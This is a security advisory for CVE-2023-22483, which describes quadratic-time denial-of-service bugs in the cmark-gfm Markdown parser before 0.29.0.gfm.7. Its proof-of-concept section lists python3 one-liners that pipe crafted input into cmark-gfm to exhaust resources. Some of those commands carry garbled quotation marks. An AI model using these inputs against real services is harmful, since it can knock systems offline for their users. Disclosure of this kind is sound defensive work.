Headline
CVE-2023-22483: Quadratic complexity bugs may lead to a denial of service
cmark-gfm is GitHub’s fork of cmark, a CommonMark parsing and rendering library and program in C. Versions prior to 0.29.0.gfm.7 are subject to several polynomial time complexity issues in cmark-gfm that may lead to unbounded resource exhaustion and subsequent denial of service. Various commands, when piped to cmark-gfm with large values, cause the running time to increase quadratically. These vulnerabilities have been patched in version 0.29.0.gfm.7.
Impact
Several polynomial time complexity issues in cmark-gfm may lead to unbounded resource exhaustion and subsequent denial of service.
Proof of concept
Each of the commands below triggers a different issue.
python3 -c 'print("-1" + "<?x"* 10000 + “y”)' | cmark-gfm python3 -c 'print(“|-\nt>|-\n"* 10000)' | cmark-gfm -e table python3 -c “n=10000; print('*t '*n + '_t*_ '*n)" | cmark-gfm python3 -c 'print(“x\n| - |\n” + “|"* 10000 + “y”)' | cmark-gfm -e table python3 -c 'print(“z_www.” * 10000)' | cmark-gfm -e autolink python3 -c 'print("[f]:u\n\"\n” + "[f]\n” * 10000 + "[f]:u \"t\n”)' | cmark-gfm python3 -c 'print(“www.” + ")" * 10000)' | cmark-gfm -e autolink python3 -c 'print(“:-\n” + “:\n” * 10000 + “:-\n”)' | cmark-gfm -e table python3 -c 'print(“<http://s” * 10000)' | cmark-gfm -e autolink python3 -c 'print(“~e” + “,z~~” * 10000)' | cmark-gfm -e strikethrough python3 -c 'print(“>” * 10000 + “.” * 10000)' | cmark-gfm
Increasing the number 10000 in the above commands causes the running time to increase quadratically.
Patches
These vulnerabilities have been patched in 0.29.0.gfm.7.
References
https://en.wikipedia.org/wiki/Time_complexity
For more information
If you have any questions or comments about this advisory:
- Open an issue in github/cmark-gfm